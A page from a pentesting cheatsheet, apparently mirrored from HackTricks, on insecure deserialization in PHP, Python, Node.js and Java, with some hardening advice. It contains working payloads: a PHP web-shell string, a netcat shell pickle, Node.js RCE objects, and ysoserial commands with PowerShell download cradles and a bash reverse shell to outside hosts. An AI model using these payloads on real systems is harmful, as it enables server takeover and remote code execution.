daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

overview.md (79241B)


      1 ---
      2 title: "Deserialization"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/deserialization/README.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/deserialization/README.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: true
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Deserialization
     14 
     15 ## Basic Information
     16 
     17 **Serialization** is understood as the method of converting an object into a format that can be preserved, with the intent of either storing the object or transmitting it as part of a communication process. This technique is commonly employed to ensure that the object can be recreated at a later time, maintaining its structure and state.
     18 
     19 **Deserialization**, conversely, is the process that counteracts serialization. It involves taking data that has been structured in a specific format and reconstructing it back into an object.
     20 
     21 Deserialization can be dangerous because it potentially **allows attackers to manipulate the serialized data to execute harmful code** or cause unexpected behavior in the application during the object reconstruction process.
     22 
     23 ## PHP
     24 
     25 In PHP, specific magic methods are utilized during the serialization and deserialization processes:
     26 
     27 - `__sleep`: Invoked when an object is being serialized. This method should return an array of the names of all properties of the object that should be serialized. It's commonly used to commit pending data or perform similar cleanup tasks.
     28 - `__wakeup`: Called when an object is being deserialized. It's used to reestablish any database connections that may have been lost during serialization and perform other reinitialization tasks.
     29 - `__unserialize`: This method is called instead of `__wakeup` (if it exists) when an object is being deserialized. It gives more control over the deserialization process compared to `__wakeup`.
     30 - `__destruct`: This method is called when an object is about to be destroyed or when the script ends. It's typically used for cleanup tasks, like closing file handles or database connections.
     31 - `__toString`: This method allows an object to be treated as a string. It can be used for reading a file or other tasks based on the function calls within it, effectively providing a textual representation of the object.
     32 
     33 ```php
     34 <?php
     35 class test {
     36     public $s = "This is a test";
     37     public function displaystring(){
     38         echo $this->s.'<br />';
     39     }
     40     public function __toString()
     41     {
     42         echo '__toString method called';
     43     }
     44     public function __construct(){
     45         echo "__construct method called";
     46     }
     47     public function __destruct(){
     48         echo "__destruct method called";
     49     }
     50     public function __wakeup(){
     51         echo "__wakeup method called";
     52     }
     53     public function __sleep(){
     54         echo "__sleep method called";
     55         return array("s"); #The "s" makes references to the public attribute
     56     }
     57 }
     58 
     59 $o = new test();
     60 $o->displaystring();
     61 $ser=serialize($o);
     62 echo $ser;
     63 $unser=unserialize($ser);
     64 $unser->displaystring();
     65 
     66 /*
     67 php > $o = new test();
     68 __construct method called
     69 __destruct method called
     70 php > $o->displaystring();
     71 This is a test<br />
     72 
     73 php > $ser=serialize($o);
     74 __sleep method called
     75 
     76 php > echo $ser;
     77 O:4:"test":1:{s:1:"s";s:14:"This is a test";}
     78 
     79 php > $unser=unserialize($ser);
     80 __wakeup method called
     81 __destruct method called
     82 
     83 php > $unser->displaystring();
     84 This is a test<br />
     85 */
     86 ?>
     87 ```
     88 
     89 If you look to the results you can see that the functions **`__wakeup`** and **`__destruct`** are called when the object is deserialized. Note that in several tutorials you will find that the **`__toString`** function is called when trying yo print some attribute, but apparently that's **not happening anymore**.
     90 
     91 > [!WARNING]
     92 > The method **`__unserialize(array $data)`** is called **instead of `__wakeup()`** if it is implemented in the class. It allows you to unserialize the object by providing the serialized data as an array. You can use this method to unserialize properties and perform any necessary tasks upon deserialization.
     93 >
     94 > ```php
     95 > class MyClass {
     96 >    private $property;
     97 >
     98 >    public function __unserialize(array $data): void {
     99 >        $this->property = $data['property'];
    100 >        // Perform any necessary tasks upon deserialization.
    101 >    }
    102 > }
    103 > ```
    104 
    105 You can read an explained **PHP example here**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), here [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) or here [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup><sup>[[3]](#references)</sup>
    106 
    107 ### PHP Deserial + Autoload Classes
    108 
    109 You could abuse the PHP autoload functionality to load arbitrary php files and more:
    110 
    111 
    112 [Php Deserialization + Autoload Classes](/hacktricks/pentesting-web/deserialization/php-deserialization-autoload-classes)
    113 
    114 ### Laravel Livewire Hydration Chains
    115 
    116 Livewire 3 synthesizers can be coerced into instantiating arbitrary gadget graphs (with or without `APP_KEY`) to reach Laravel Queueable/SerializableClosure sinks:
    117 
    118 [Livewire Hydration Synthesizer Abuse](/hacktricks/pentesting-web/deserialization/livewire-hydration-synthesizer-abuse)
    119 
    120 ### Serializing Referenced Values
    121 
    122 If for some reason you want to serialize a value as a **reference to another value serialized** you can:
    123 
    124 ```php
    125 <?php
    126 class AClass {
    127     public $param1;
    128     public $param2;
    129 }
    130 
    131 $o = new WeirdGreeting;
    132 $o->param1 =& $o->param22;
    133 $o->param = "PARAM";
    134 $ser=serialize($o);
    135 ```
    136 
    137 ### Preventing PHP Object Injection with `allowed_classes`
    138 
    139 > [!INFO]
    140 > Support for the **second argument** of `unserialize()` (the `$options` array) was added in **PHP 7.0**. On older versions the function only accepts the serialized string, making it impossible to restrict which classes may be instantiated.
    141 
    142 `unserialize()` will **instantiate every class** it finds inside the serialized stream unless told otherwise.  Since PHP 7 the behaviour can be restricted with the [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) option:
    143 
    144 ```php
    145 // NEVER DO THIS – full object instantiation
    146 $object = unserialize($userControlledData);
    147 
    148 // SAFER – disable object instantiation completely
    149 $object = unserialize($userControlledData, [
    150     'allowed_classes' => false    // no classes may be created
    151 ]);
    152 
    153 // Granular – only allow a strict white-list of models
    154 $object = unserialize($userControlledData, [
    155     'allowed_classes' => [MyModel::class, DateTime::class]
    156 ]);
    157 ```
    158 
    159 If **`allowed_classes` is omitted _or_ the code runs on PHP < 7.0**, the call becomes **dangerous** as an attacker can craft a payload that abuses magic methods such as `__wakeup()` or `__destruct()` to achieve Remote Code Execution (RCE).
    160 
    161 #### Real-world example: Everest Forms (WordPress) CVE-2025-52709
    162 
    163 The WordPress plugin **Everest Forms ≤ 3.2.2** tried to be defensive with a helper wrapper but forgot about legacy PHP versions:<sup>[[4]](#references)</sup>
    164 
    165 ```php
    166 function evf_maybe_unserialize($data, $options = array()) {
    167     if (is_serialized($data)) {
    168         if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
    169             // SAFE branch (PHP ≥ 7.1)
    170             $options = wp_parse_args($options, array('allowed_classes' => false));
    171             return @unserialize(trim($data), $options);
    172         }
    173         // DANGEROUS branch (PHP < 7.1)
    174         return @unserialize(trim($data));
    175     }
    176     return $data;
    177 }
    178 ```
    179 
    180 On servers that still ran **PHP ≤ 7.0** this second branch led to a classic **PHP Object Injection** when an administrator opened a malicious form submission. A minimal exploit payload could look like:
    181 
    182 ```text
    183 O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
    184 ```
    185 
    186 As soon as the admin viewed the entry, the object was instantiated and `SomeClass::__destruct()` got executed, resulting in arbitrary code execution.
    187 
    188 **Take-aways**
    189 1. Always pass `['allowed_classes' => false]` (or a strict white-list) when calling `unserialize()`.
    190 2. Audit defensive wrappers – they often forget about the legacy PHP branches.
    191 3. Upgrading to **PHP ≥ 7.x** alone is *not* sufficient: the option still needs to be supplied explicitly.
    192 
    193 ---
    194 
    195 ### PHPGGC (ysoserial for PHP)
    196 
    197 [**PHPGGC**](https://github.com/ambionics/phpggc) can help you generating payloads to abuse PHP deserializations.\
    198 Note than in several cases you **won't be able to find a way to abuse a deserialization in the source code** of the application but you may be able to **abuse the code of external PHP extensions.**\
    199 So, if you can, check the `phpinfo()` of the server and **search on the internet** (an even on the **gadgets** of **PHPGGC**) some possible gadget you could abuse.
    200 
    201 ### phar:// metadata deserialization
    202 
    203 If you have found a LFI that is just reading the file and not executing the php code inside of it, for example using functions like _**file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()**_**.** You can try to abuse a **deserialization** occurring when **reading** a **file** using the **phar** protocol.\
    204 For more information read the following post:
    205 
    206 
    207 [Phar Deserialization](/hacktricks/pentesting-web/file-inclusion/phar-deserialization)
    208 
    209 ## Python
    210 
    211 ### **Pickle**
    212 
    213 When the object gets unpickle, the function \_\_\_reduce\_\_\_ will be executed.\
    214 When exploited, server could return an error.
    215 
    216 ```python
    217 import pickle, os, base64
    218 class P(object):
    219     def __reduce__(self):
    220         return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
    221 print(base64.b64encode(pickle.dumps(P())))
    222 ```
    223 
    224 Before checking the bypass technique, try using `print(base64.b64encode(pickle.dumps(P(),2)))` to generate an object that is compatible with python2 if you're running python3.
    225 
    226 For more information about escaping from **pickle jails** check:
    227 
    228 
    229 [Bypass Python Sandboxes](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
    230 
    231 ### Yaml **&** jsonpickle
    232 
    233 The following page present the technique to **abuse an unsafe deserialization in yamls** python libraries and finishes with a tool that can be used to generate RCE deserialization payload for **Pickle, PyYAML, jsonpickle and ruamel.yaml**:
    234 
    235 
    236 [Python Yaml Deserialization](/hacktricks/pentesting-web/deserialization/python-yaml-deserialization)
    237 
    238 ### Class Pollution (Python Prototype Pollution)
    239 
    240 
    241 [Class Pollution Pythons Prototype Pollution](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
    242 
    243 ## NodeJS
    244 
    245 ### JS Magic Functions
    246 
    247 JS **doesn't have "magic" functions** like PHP or Python that are going to be executed just for creating an object. But it has some **functions** that are **frequently used even without directly calling them** such as **`toString`**, **`valueOf`**, **`toJSON`**.\
    248 If abusing a deserialization you can **compromise these functions to execute other code** (potentially abusing prototype pollutions) you could execute arbitrary code when they are called.
    249 
    250 Another **"magic" way to call a function** without calling it directly is by **compromising an object that is returned by an async function** (promise). Because, if you **transform** that **return object** in another **promise** with a **property** called **"then" of type function**, it will be **executed** just because it's returned by another promise. _Follow_ [_**this link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _for more info._<sup>[[5]](#references)</sup>
    251 
    252 ```javascript
    253 // If you can compromise p (returned object) to be a promise
    254 // it will be executed just because it's the return object of an async function:
    255 async function test_resolve() {
    256   const p = new Promise((resolve) => {
    257     console.log("hello")
    258     resolve()
    259   })
    260   return p
    261 }
    262 
    263 async function test_then() {
    264   const p = new Promise((then) => {
    265     console.log("hello")
    266     return 1
    267   })
    268   return p
    269 }
    270 
    271 test_ressolve()
    272 test_then()
    273 //For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
    274 ```
    275 
    276 ### `__proto__` and `prototype` pollution
    277 
    278 If you want to learn about this technique **take a look to the following tutorial**:
    279 
    280 
    281 [Nodejs Proto Prototype Pollution](/hacktricks/pentesting-web/deserialization/nodejs-proto-prototype-pollution/overview)
    282 
    283 ### [node-serialize](https://www.npmjs.com/package/node-serialize)
    284 
    285 This library allows to serialise functions. Example:
    286 
    287 ```javascript
    288 var y = {
    289   rce: function () {
    290     require("child_process").exec("ls /", function (error, stdout, stderr) {
    291       console.log(stdout)
    292     })
    293   },
    294 }
    295 var serialize = require("node-serialize")
    296 var payload_serialized = serialize.serialize(y)
    297 console.log("Serialized: \n" + payload_serialized)
    298 ```
    299 
    300 The **serialised object** will looks like:
    301 
    302 ```bash
    303 {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
    304 ```
    305 
    306 You can see in the example that when a function is serialized the `_$$ND_FUNC$$_` flag is appended to the serialized object.
    307 
    308 Inside the file `node-serialize/lib/serialize.js` you can find the same flag and how the code is using it.
    309 
    310 ![proto and prototype pollution - node-serialize: Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28351%29.png)
    311 
    312 ![proto and prototype pollution - node-serialize: Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28446%29.png)
    313 
    314 As you may see in the last chunk of code, **if the flag is found** `eval` is used to deserialize the function, so basically **user input if being used inside the `eval` function**.
    315 
    316 However, **just serialising** a function **won't execute it** as it would be necessary that some part of the code is **calling `y.rce`** in our example and that's highly **unlikable**.\
    317 Anyway, you could just **modify the serialised object** **adding some parenthesis** in order to auto execute the serialized function when the object is deserialized.\
    318 In the next chunk of code **notice the last parenthesis** and how the `unserialize` function will automatically execute the code:
    319 
    320 ```javascript
    321 var serialize = require("node-serialize")
    322 var test = {
    323   rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
    324 }
    325 serialize.unserialize(test)
    326 ```
    327 
    328 As it was previously indicated, this library will get the code after`_$$ND_FUNC$$_` and will **execute it** using `eval`. Therefore, in order to **auto-execute code** you can **delete the function creation** part and the last parenthesis and **just execute a JS oneliner** like in the following example:
    329 
    330 ```javascript
    331 var serialize = require("node-serialize")
    332 var test =
    333   "{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
    334 serialize.unserialize(test)
    335 ```
    336 
    337 You can [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **further information** about how to exploit this vulnerability.<sup>[[6]](#references)</sup>
    338 
    339 ### [funcster](https://www.npmjs.com/package/funcster)
    340 
    341 A noteworthy aspect of **funcster** is the inaccessibility of **standard built-in objects**; they fall outside the accessible scope. This restriction prevents the execution of code that attempts to invoke methods on built-in objects, leading to exceptions such as `"ReferenceError: console is not defined"` when commands like `console.log()` or `require(something)` are used.
    342 
    343 Despite this limitation, restoration of full access to the global context, including all standard built-in objects, is possible through a specific approach. By leveraging the global context directly, one can bypass this restriction. For instance, access can be re-established using the following snippet:
    344 
    345 ```javascript
    346 funcster = require("funcster")
    347 //Serialization
    348 var test = funcster.serialize(function () {
    349   return "Hello world!"
    350 })
    351 console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
    352 
    353 //Deserialization with auto-execution
    354 var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
    355 funcster.deepDeserialize(desertest1)
    356 var desertest2 = {
    357   __js_function: 'this.constructor.constructor("console.log(1111)")()',
    358 }
    359 funcster.deepDeserialize(desertest2)
    360 var desertest3 = {
    361   __js_function:
    362     "this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
    363 }
    364 funcster.deepDeserialize(desertest3)
    365 ```
    366 
    367 The Acunetix research contains additional analysis of this `funcster` escape.<sup>[[7]](#references)</sup>
    368 
    369 ### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
    370 
    371 The **serialize-javascript** package is designed exclusively for serialization purposes, lacking any built-in deserialization capabilities. Users are responsible for implementing their own method for deserialization. A direct use of `eval` is suggested by the official example for deserializing serialized data:
    372 
    373 ```javascript
    374 function deserialize(serializedJavascript) {
    375   return eval("(" + serializedJavascript + ")")
    376 }
    377 ```
    378 
    379 If this function is used to deserialize objects you can **easily exploit it**:
    380 
    381 ```javascript
    382 var serialize = require("serialize-javascript")
    383 //Serialization
    384 var test = serialize(function () {
    385   return "Hello world!"
    386 })
    387 console.log(test) //function() { return "Hello world!" }
    388 
    389 //Deserialization
    390 var test =
    391   "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
    392 deserialize(test)
    393 ```
    394 
    395 The same research also discusses why implementing deserialization with `eval` makes this otherwise serialization-only library exploitable.<sup>[[7]](#references)</sup>
    396 
    397 ### Cryo library
    398 
    399 In the following pages you can find information about how to abuse this library to execute arbitrary commands:<sup>[[7]](#references)</sup><sup>[[8]](#references)</sup>
    400 
    401 - [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)<sup>[[7]](#references)</sup>
    402 - [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)<sup>[[8]](#references)</sup>
    403 
    404 ### React Server Components / react-server-dom-webpack Server Actions Abuse (CVE-2025-55182)
    405 
    406 React Server Components (RSC) rely on `react-server-dom-webpack` (RSDW) to decode server action submissions that are sent as `multipart/form-data`. Each action submission contains:
    407 
    408 - `$ACTION_REF_<n>` parts that reference the action being invoked.
    409 - `$ACTION_<n>:<m>` parts whose body is JSON such as `{"id":"module-path#export","bound":[arg0,arg1,...]}`.
    410 
    411 In version **19.2.0** the `decodeAction(formData, serverManifest)` helper blindly trusts both the **`id` string** (selecting which module export to call) and the **`bound` array** (the arguments). If an attacker can reach the endpoint that forwards requests to `decodeAction`, they can invoke any exported server action with attacker-controlled parameters even without a React front-end (CVE-2025-55182). The end-to-end recipe is:
    412 
    413 1. **Learn the action identifier.** Bundle output, error traces or leaked manifests typically reveal strings like `app/server-actions#generateReport`.
    414 2. **Recreate the multipart payload.** Craft a `$ACTION_REF_0` part and a `$ACTION_0:0` JSON body carrying the identifier and arbitrary arguments.
    415 3. **Let `decodeAction` dispatch it.** The helper resolves the module from `serverManifest`, imports the export, and returns a callable that the server immediately executes.
    416 
    417 Example payload hitting `/formaction`:
    418 
    419 ```http
    420 POST /formaction HTTP/1.1
    421 Host: target
    422 Content-Type: multipart/form-data; boundary=----BOUNDARY
    423 
    424 ------BOUNDARY
    425 Content-Disposition: form-data; name="$ACTION_REF_0"
    426 
    427 ------BOUNDARY
    428 Content-Disposition: form-data; name="$ACTION_0:0"
    429 
    430 {"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
    431 ------BOUNDARY--
    432 ```
    433 
    434 Or with curl:
    435 
    436 ```bash
    437 curl -sk -X POST http://target/formaction \
    438   -F '$ACTION_REF_0=' \
    439   -F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'
    440 ```
    441 
    442 The `bound` array directly populates the server-action parameters. In the vulnerable lab the gadget looks like:
    443 
    444 ```javascript
    445 const { exec } = require("child_process");
    446 const util = require("util");
    447 const pexec = util.promisify(exec);
    448 
    449 async function generateReport(project, format) {
    450   const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
    451   const { stdout } = await pexec(cmd);
    452   return stdout;
    453 }
    454 ```
    455 
    456 Supplying `format = "pdf & whoami"` makes `/bin/sh -c` run the legitimate report generator and then `whoami`, with both outputs delivered inside the JSON action response. Any server action that wraps filesystem primitives, database drivers or other interpreters can be abused the same way once the attacker controls the `bound` data.
    457 
    458 An attacker never needs a real React client—any HTTP tool that emits the `$ACTION_*` multipart shape can directly call server actions and chain the resulting JSON output into an RCE primitive.<sup>[[9]](#references)</sup>
    459 
    460 ## Java - HTTP
    461 
    462 In Java, **deserialization callbacks are executed during the process of deserialization**. This execution can be exploited by attackers who craft malicious payloads that trigger these callbacks, leading to potential execution of harmful actions.
    463 
    464 ### Fingerprints
    465 
    466 #### White Box
    467 
    468 To identify potential serialization vulnerabilities in the codebase search for:
    469 
    470 - Classes that implement the `Serializable` interface.
    471 - Usage of `java.io.ObjectInputStream`, `readObject`, `readUnshare` functions.
    472 
    473 Pay extra attention to:
    474 
    475 - `XMLDecoder` utilized with parameters defined by external users.
    476 - `XStream`'s `fromXML` method, especially if the XStream version is less than or equal to 1.46, as it is susceptible to serialization issues.
    477 - `ObjectInputStream` coupled with the `readObject` method.
    478 - Implementation of methods such as `readObject`, `readObjectNodData`, `readResolve`, or `readExternal`.
    479 - `ObjectInputStream.readUnshared`.
    480 - General use of `Serializable`.
    481 
    482 #### Black Box
    483 
    484 For black box testing, look for specific **signatures or "Magic Bytes"** that denote java serialized objects (originating from `ObjectInputStream`):
    485 
    486 - Hexadecimal pattern: `AC ED 00 05`.
    487 - Base64 pattern: `rO0`.
    488 - HTTP response headers with `Content-type` set to `application/x-java-serialized-object`.
    489 - Hexadecimal pattern indicating prior compression: `1F 8B 08 00`.
    490 - Base64 pattern indicating prior compression: `H4sIA`.
    491 - Web files with the `.faces` extension and the `faces.ViewState` parameter. Discovering these patterns in a web application should prompt an examination as detailed in the [post about Java JSF ViewState Deserialization](/hacktricks/pentesting-web/deserialization/java-jsf-viewstate-faces-deserialization).
    492 
    493 ```text
    494 javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
    495 ```
    496 
    497 ### Check if vulnerable
    498 
    499 If you want to **learn about how does a Java Deserialized exploit work** you should take a look to [**Basic Java Deserialization**](/hacktricks/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject), [**Java DNS Deserialization**](/hacktricks/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe), and [**CommonsCollection1 Payload**](/hacktricks/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload).
    500 
    501 #### SignedObject-gated deserialization and pre-auth reachability
    502 
    503 Modern codebases sometimes wrap deserialization with `java.security.SignedObject` and validate a signature before calling `getObject()` (which deserializes the inner object). This prevents arbitrary top-level gadget classes but can still be exploitable if an attacker can obtain a valid signature (e.g., private-key compromise or a signing oracle). Additionally, error-handling flows may mint session-bound tokens for unauthenticated users, exposing otherwise protected sinks pre-auth.<sup>[[10]](#references)</sup>
    504 
    505 For a concrete case study with requests, IoCs, and hardening guidance, see:
    506 
    507 [Java Signedobject Gated Deserialization](/hacktricks/pentesting-web/deserialization/java-signedobject-gated-deserialization)
    508 
    509 #### White Box Test
    510 
    511 You can check if there is installed any application with known vulnerabilities.<sup>[[11]](#references)</sup>
    512 
    513 ```bash
    514 find . -iname "*commons*collection*"
    515 grep -R InvokeTransformer .
    516 ```
    517 
    518 You could try to **check all the libraries** known to be vulnerable and that [**Ysoserial** ](https://github.com/frohoff/ysoserial)can provide an exploit for. Or you could check the libraries indicated on [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
    519 You could also use [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) to search for possible gadget chains that can be exploited.\
    520 When running **Gadget Inspector** (after building it), expect many warnings and errors while it analyzes the target and let it finish. It writes its findings to _gadgetinspector/gadget-results/gadget-chains-year-month-day-hour-min.txt_. Note that **Gadget Inspector does not create an exploit, and its results may contain false positives**.<sup>[[12]](#references)</sup><sup>[[13]](#references)</sup>
    521 
    522 #### Black Box Test
    523 
    524 Using the Burp extension [**gadgetprobe**](/hacktricks/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe) you can identify **which libraries are available** (and even the versions). With this information it could be **easier to choose a payload** to exploit the vulnerability.\
    525 [**Read this to learn more about GadgetProbe**](/hacktricks/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe#gadgetprobe)**.**\
    526 GadgetProbe is focused on **`ObjectInputStream` deserializations**.<sup>[[14]](#references)</sup><sup>[[15]](#references)</sup>
    527 
    528 Using Burp extension [**Java Deserialization Scanner**](/hacktricks/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe#java-deserialization-scanner) you can **identify vulnerable libraries** exploitable with ysoserial and **exploit** them.\
    529 [**Read this to learn more about Java Deserialization Scanner.**](/hacktricks/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe#java-deserialization-scanner)\
    530 Java Deserialization Scanner is focused on **`ObjectInputStream`** deserializations.
    531 
    532 You can also use [**Freddy**](https://github.com/nccgroup/freddy) to **detect deserializations** vulnerabilities in **Burp**. This plugin will detect **not only `ObjectInputStream`** related vulnerabilities but **also** vulns from **Json** an **Yml** deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.\
    533 [**You can find installation and usage details in Freddy's repository.**](https://github.com/nccgroup/freddy)<sup>[[50]](#references)</sup>
    534 
    535 **Serialization Test**
    536 
    537 Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to **change the data inside the serialized object and bypass some checks** (maybe grant you admin privileges inside a webapp).\
    538 If you find a java serialized object being sent to a web application, **you can use** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **to print in a more human readable format the serialization object that is sent**. Knowing which data are you sending would be easier to modify it and bypass some checks.
    539 
    540 ### **Exploit**
    541 
    542 #### **ysoserial**
    543 
    544 The main tool to exploit Java deserializations is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). You can also consider using [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) which will allow you to use complex commands (with pipes for example).<sup>[[16]](#references)</sup><sup>[[17]](#references)</sup>\
    545 Note that this tool is **focused** on exploiting **`ObjectInputStream`**.\
    546 I would **start using the "URLDNS"** payload **before a RCE** payload to test if the injection is possible. Anyway, note that maybe the "URLDNS" payload is not working but other RCE payload is.
    547 
    548 ```bash
    549 # PoC to make the application perform a DNS req
    550 java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
    551 
    552 # PoC RCE in Windows
    553 # Ping
    554 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
    555 # Time, I noticed the response too longer when this was used
    556 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
    557 # Create File
    558 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
    559 # DNS request
    560 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
    561 # HTTP request (+DNS)
    562 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
    563 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
    564 ## The last HTTP request encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
    565 ## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
    566 # Reverse Shell
    567 ## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
    568 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
    569 
    570 #PoC RCE in Linux
    571 # Ping
    572 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
    573 # Time
    574 ## Using time in bash I didn't notice any difference in the timing of the response
    575 # Create file
    576 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
    577 # DNS request
    578 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
    579 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
    580 # HTTP request (+DNS)
    581 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
    582 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
    583 # Reverse shell
    584 ## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
    585 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
